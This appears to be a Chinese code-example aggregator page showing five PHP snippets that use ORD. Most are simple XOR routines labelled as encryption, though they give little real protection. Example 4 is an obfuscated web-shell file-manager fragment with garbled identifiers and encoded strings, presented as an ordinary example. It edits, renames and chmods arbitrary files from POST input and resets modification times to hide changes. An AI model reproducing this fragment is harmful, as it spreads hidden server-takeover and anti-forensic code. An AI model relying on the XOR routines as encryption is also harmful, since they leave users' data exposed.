本文整理汇总了PHP中ORD函数的典型用法代码示例。如果您正苦于以下问题:PHP ORD函数的具体用法?PHP ORD怎么用?PHP ORD使用的例子?那么, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了ORD函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: ENCRYPT_DECRYPT
function ENCRYPT_DECRYPT($Str_Message)
{
//Function : encrypt/decrypt a string message v.1.0 without a known key
//Author : Aitor Solozabal Merino (spain)
//Email : aitor-3@euskalnet.net
//Date : 01-04-2005
$Len_Str_Message = STRLEN($Str_Message);
$Str_Encrypted_Message = "";
for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
// long code of the function to explain the algoritm
//this function can be tailored by the programmer modifyng the formula
//to calculate the key to use for every character in the string.
$Key_To_Use = $Len_Str_Message + $Position + 1;
// (+5 or *3 or ^2)
//after that we need a module division because can´t be greater than 255
$Key_To_Use = (255 + $Key_To_Use) % 255;
$Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
$Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
$Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
//xor operation
$Encrypted_Byte = CHR($Xored_Byte);
$Str_Encrypted_Message .= $Encrypted_Byte;
//short code of the function once explained
//$str_encrypted_message .= chr((ord(substr($str_message, $position, 1))) ^ ((255+(($len_str_message+$position)+1)) % 255));
}
return $Str_Encrypted_Message;
}
示例2: ENCRYPT_DECRYPT
function ENCRYPT_DECRYPT($Str_Message)
{
$Len_Str_Message = STRLEN($Str_Message);
$Str_Encrypted_Message = "";
for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
// long code of the function to explain the algoritm
//this function can be tailored by the programmer modifyng the formula
//to calculate the key to use for every character in the string.
$Key_To_Use = ($Len_Str_Message + $Position) * 230;
// (+5 or *3 or ^2)
//after that we need a module division because can´t be greater than 255
//$Key_To_Use = (255+$Key_To_Use) % 255;
$Key_To_Use = (168 + $Key_To_Use) % 168;
$Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
$Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
$Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
//xor operation
$Encrypted_Byte = CHR($Xored_Byte);
$Str_Encrypted_Message .= $Encrypted_Byte;
//short code of the function once explained
//$str_encrypted_message .= chr((ord(substr($str_message, $position, 1))) ^ ((255+(($len_str_message+$position)+1)) % 255));
}
return $Str_Encrypted_Message;
}
示例3: decryptString
function decryptString($str, $key)
{
$arr = explode(".", $str);
array_shift($arr);
$str = "";
for ($i = 0; $i < count($arr); $i++) {
$str .= CHR(intval($arr[$i]));
}
$len1 = strlen($str);
$len2 = strlen($key);
$len = min($len1, $len2);
$result = "";
for ($i = 0; $i < $len1; $i++) {
if ($i < $len) {
$result .= CHR(ORD(SUBSTR($str, $i, 1)) ^ ORD(SUBSTR($key, $i, 1)));
} else {
$result .= SUBSTR($str, $i, 1);
}
}
return $result;
}
示例4: aCtiONfILEstOolS
//.........这里部分代码省略.........
}
if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) {
echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и');
}
}
cLEARStAtcaCHE();
echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣');
break;
case _≈сс::_ш┬('_▓┘р', '_ечп'):
if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) {
echo _≈сс::_ш┬('_║м', '_≥' . '▒');
break;
}
if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) {
$_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]);
$_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01);
$_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌'));
if ($_╔╛р) {
@FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]);
@FcLOsE($_╔╛р);
echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж');
@TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм);
}
}
echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р');
$_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр'));
if ($_╔╛р) {
while (!@FEOF($_╔╛р)) {
echo htMLspeciaLCharS(@freaD($_╔╛р, 02000));
}
@fCloSe($_╔╛р);
}
echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м');
break;
case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'):
$_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]);
$_╫≥ = 00;
$_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓'));
$_▀╔└ = STrlen($_┼┘╓);
for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) {
$_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤');
switch (ORD($_┼┘╓[$_╧╞│])) {
case 00:
$_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег');
break;
case 011:
$_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн');
break;
case 012:
$_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║');
break;
case 015:
$_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ');
break;
default:
$_⌡х[02] .= $_┼┘╓[$_╧╞│];
break;
}
$_╫≥++;
if ($_╫≥ == 040) {
$_╫≥ = 00;
if ($_╧╞│ + 01 < $_▀╔└) {
$_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м');
}
$_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л');
$_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй');
}
}
echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└');
break;
case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'):
if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) {
if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) {
echo _≈сс::_ш┬('_р╖', '_■│');
} else {
die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═'));
}
}
echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р');
break;
case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'):
if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) {
$_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]);
if ($_▌щм) {
if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) {
echo _≈сс::_ш┬('_┼' . 'з', '_е╟');
} else {
echo _≈сс::_ш┬('_▀' . '║', '_яэ╥');
}
} else {
echo _≈сс::_ш┬('_ре', '_' . 'чж');
}
}
cLEarSTaTcAcHE();
echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую');
break;
}
echo _≈сс::_ш┬('_' . 'у║', '_├╩');
_▌╩();
}
示例5: decryptShipping
public function decryptShipping($Str_Message)
{
$Str_Message = base64_decode($Str_Message);
$Len_Str_Message = strlen($Str_Message);
$Str_Encrypted_Message = "";
for ($Position = 0; $Position < $Len_Str_Message; $Position++) {
$Key_To_Use = $Len_Str_Message + $Position + 1;
$Key_To_Use = (255 + $Key_To_Use) % 255;
$Byte_To_Be_Encrypted = SUBSTR($Str_Message, $Position, 1);
$Ascii_Num_Byte_To_Encrypt = ORD($Byte_To_Be_Encrypted);
// Xor operation
$Xored_Byte = $Ascii_Num_Byte_To_Encrypt ^ $Key_To_Use;
$Encrypted_Byte = CHR($Xored_Byte);
$Str_Encrypted_Message .= $Encrypted_Byte;
}
return $Str_Encrypted_Message;
}